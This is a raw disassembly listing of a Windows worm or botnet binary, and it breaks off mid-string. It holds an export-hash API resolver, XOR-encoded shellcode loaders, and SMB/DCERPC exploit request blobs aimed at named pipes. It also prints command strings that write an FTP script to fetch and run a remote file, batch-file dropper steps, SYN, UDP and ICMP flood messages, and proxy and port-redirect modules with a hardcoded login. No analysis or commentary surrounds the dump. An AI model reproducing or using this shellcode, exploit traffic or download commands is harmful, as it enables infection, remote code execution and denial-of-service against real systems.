sub_445990+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_445AB8: ; CODE XREF: sub_445AA2+33j jecxz short loc_445AF2 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_445AC5: ; CODE XREF: sub_445AA2+2Dj lodsb cmp al, ah jz short loc_445AD1 ror edi, 0Dh add edi, eax jmp short loc_445AC5 ; --------------------------------------------------------------------------- loc_445AD1: ; CODE XREF: sub_445AA2+26j cmp edi, [esp+20h+arg_0] jnz short loc_445AB8 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_445AF2: ; CODE XREF: sub_445AA2:loc_445AB8j ; sub_445AA2:loc_445AF2j jmp short loc_445AF2 sub_445AA2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_445AF8 proc near ; DATA XREF: sub_425100+1Eo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_445B4A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_445B15: ; CODE XREF: sub_445AF8+38j jecxz short loc_445B45 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_445B20: ; CODE XREF: sub_445AF8+32j lodsb test al, al jz short loc_445B2C ror edx, 0Dh add edx, eax jmp short loc_445B20 ; --------------------------------------------------------------------------- loc_445B2C: ; CODE XREF: sub_445AF8+2Bj cmp edx, [esp+arg_0] jnz short loc_445B15 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_445B45: ; CODE XREF: sub_445AF8:loc_445B15j mov [esp+arg_0], ebx retn sub_445AF8 endp ; =============== S U B R O U T I N E ======================================= sub_445B4A proc near ; CODE XREF: sub_445AF8+7p ; FUNCTION CHUNK AT 00445B82 SIZE 00000005 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_445B63 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_445B6E ; --------------------------------------------------------------------------- loc_445B63: ; CODE XREF: sub_445B4A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_445B6E: ; CODE XREF: sub_445B4A+14j pop edi xor esi, esi pusha push esi jmp short loc_445B82 sub_445B4A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_445B75 proc near ; CODE XREF: sub_445B4A:loc_445B82p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_445B75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B4A loc_445B82: ; CODE XREF: sub_445B4A+29j call sub_445B75 ; END OF FUNCTION CHUNK FOR sub_445B4A ; --------------------------------------------------------------------------- db 0 dd 25h dup(0) dword_445C1C dd 23h dword_445C20 dd 60h dword_445C24 dd 62B0606h, 2050501h, 0A0hdword_445C30 dd 0A1h dword_445C34 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do align 10h loc_445C40: ; DATA XREF: sub_424920+100o jmp short near ptr dword_445C48 ; --------------------------------------------------------------------------- align 8 dword_445C48 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>' ; DATA XREF: sub_425100+60o db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &' db '%s',0Dh,0Ah,0 align 4 dd 7 dup(0) ; --------------------------------------------------------------------------- jmp short loc_445D02 ; =============== S U B R O U T I N E ======================================= sub_445CF2 proc far ; CODE XREF: sub_445CF2:loc_445D02p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_445CFA: ; CODE XREF: sub_445CF2+Cj xor byte ptr [ebx+ecx], 99h loop loc_445CFA jmp short loc_445D07 ; --------------------------------------------------------------------------- loc_445D02: ; CODE XREF: ___:00445CF0j call near ptr sub_445CF2 loc_445D07: ; CODE XREF: sub_445CF2+Ej jo short loc_445D6B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_445D89 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_445D6B: ; CODE XREF: sub_445CF2:loc_445D07j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_445D89: ; CODE XREF: sub_445CF2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_445CF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_445E30: ; DATA XREF: sub_4257F0+12Bo ; sub_4257F0+135o ... jmp short loc_445E42 ; =============== S U B R O U T I N E ======================================= sub_445E32 proc near ; CODE XREF: sub_445E32:loc_445E42p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_445E3A: ; CODE XREF: sub_445E32+Cj xor byte ptr [edx+ecx], 99h loop loc_445E3A jmp short loc_445E47 ; --------------------------------------------------------------------------- loc_445E42: ; CODE XREF: ___:loc_445E30j call sub_445E32 loc_445E47: ; CODE XREF: sub_445E32+Ej jo short near ptr dword_445DC0+1Eh cwde cdq cdq retn sub_445E32 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_445EE0 dw 4B9Dh ; DATA XREF: sub_4257F0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_445FC8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:00425E52o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_446054 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425E87o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_446100 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425EB6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4461E0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_446237 dd 3F000000h dword_44623B dd 3F3F3F3Fh byte_44623F db 0 ; DATA XREF: sub_4257F0+B4r dd 0 dword_446244 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4462B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_446354 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4463D4 dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446468 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4464D4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_446548 dd 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 3 dup(0) dword_4465D4 dd 1004600h ; sub_4257F0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_4467BC dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o align 10h dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o dd 2 dup(0) aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o align 4 dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o align 10h dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo align 10h aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo align 8 aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o align 10h dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao align 10h aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo align 4 dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o align 8 dword_446908 dd 6EB06EBh align 10h dword_446910 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o dword_44691C dd 1CEC8166h dword_446920 dd 0E4FF07h align 8 dword_446928 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_446974 dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_4469A4 dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_4469C4 dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_4469CE: ; CODE XREF: ___:004469D8j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_4469CE sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_426070+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 10h dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o align 10h word_446C30 dw 2EBh ; DATA XREF: ___:00426331r align 4 dword_446C34 dd 215h dd 0 dword_446C3C dd 20804h dd 0 ; --------------------------------------------------------------------------- loc_446C44: ; DATA XREF: sub_4267D0+CCo jmp short loc_446C48 ; --------------------------------------------------------------------------- loc_446C46: ; CODE XREF: ___:loc_446C48p jmp short loc_446C4D ; --------------------------------------------------------------------------- loc_446C48: ; CODE XREF: ___:loc_446C44j call loc_446C46 loc_446C4D: ; CODE XREF: ___:loc_446C46j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_446C52 dw 0FFFFh ; DATA XREF: sub_4267D0+D3w db 80h, 73h, 0Eh byte_446C57 db 0FFh ; DATA XREF: sub_4267D0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_446C5C: ; DATA XREF: sub_4267D0+A7o jmp short loc_446C60 ; --------------------------------------------------------------------------- loc_446C5E: ; CODE XREF: ___:loc_446C60p jmp short loc_446C65 ; --------------------------------------------------------------------------- loc_446C60: ; CODE XREF: ___:loc_446C5Cj call loc_446C5E loc_446C65: ; CODE XREF: ___:loc_446C5Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_446C69 db 0FFh ; DATA XREF: sub_4267D0+AEw dw 7380h db 0Ch byte_446C6D db 0FFh ; DATA XREF: sub_4267D0+B4w dw 0E243h dd 0F9h dword_446C74 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_426560+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_446CD8 dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_446CE8 dd 74656720h byte_446CEC db 20h ; DATA XREF: sub_426560+A2r dword_446CED dd 0E8006A00h dword_446CF1 dd 17h ; sub_426560+D2r dword_446CF5 dd 0E8C30175h dword_446CF9 dd 1 ; sub_426560+E7r byte_446CFD db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o dd 7E8h db 0, 0Fh, 84h dword_446D07 dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_427740+22o align 10h aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_427990+D0o align 4 dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o align 10h aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o align 10h dd 0 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo align 8 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o align 4 dd 0 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co align 4 aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o align 10h aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o align 4 dd 0 aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o align 4 dd 0 aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o align 8 aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o align 8 aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o align 10h dd 0 aUdp db 'udp',0 ; DATA XREF: sub_428880+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o align 4 dd 0 aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o align 4 dd 0 off_446F0C dd offset byte_455247 ; DATA XREF: sub_4290B0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+AAo align 10h aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+33o align 10h aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 4 dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 4 dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o db 0Dh,0Ah,0 align 10h aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o ; ___:0042A147o align 8 aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o ; ___:0042A129o align 8 aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o align 8 aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o dd 0 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o align 4 dd 0 aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do align 10h aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo db 'Connection: close',0Dh,0Ah db '%s',0 dd 2 dup(0) aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 10h dd 0 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo ; ___:00429FA0o align 10h dd 0 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o align 4 dd 0 asc_4471FC db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co ; ___:00429ADCo ... align 10h aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o dd 0 aConnect db 'connect',0 ; DATA XREF: ___:004297B2o align 8 aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do dd 0 off_447224 dd offset byte_544547 ; DATA XREF: ___:004296B8o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o align 10h aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o dd 2 dup(0) aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo align 10h aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o dd 2 dup(0) aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o ; sub_42B380+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o align 10h dd 0 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co align 4 dd 2 dup(0) dword_447304 dd 1000005h, 0 dword_44730C dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42CB70+20Fo align 4 dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42CB70+3Fo align 10h dd 2 dup(0) aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042D725o dd 3 dup(0) aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004473D4o align 10h aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 10h dd 0 aCalloc db 'calloc',0 align 4 aSetsockopt db 'setsockopt',0 align 4 dd 0 aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o ; sub_42DB00:loc_42DBBDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o align 8 aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo align 10h aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o dd 0 aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do align 8 aWrite db 'write',0 align 10h aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o align 10h dword_4474B0 dd 524F5453h byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+EDr align 4 dword_4474B8 dd 52544552h byte_4474BC db 0 ; DATA XREF: sub_42E5B0+D3r align 10h dword_4474C0 dd 5453494Ch byte_4474C4 db 0 ; DATA XREF: sub_42E5B0+B8r align 4 dword_4474C8 dd 54534C4Eh byte_4474CC db 0 ; DATA XREF: sub_42E5B0+9Er align 10h dword_4474D0 dd 45505954h, 632520h, 0 ; ___:0042F9BAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42E5B0+2Do align 10h aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 4 dd 0 aListen db 'listen',0 align 4 aBind db 'bind',0 align 4 aGetsockname db 'getsockname',0 dd 0 aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo align 10h dd 0 aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o align 4 aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o align 10h aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o align 4 dd 0 aTimedOutWaitin db 'timed out waiting for connection',0 align 10h dd 0 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 4 dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = 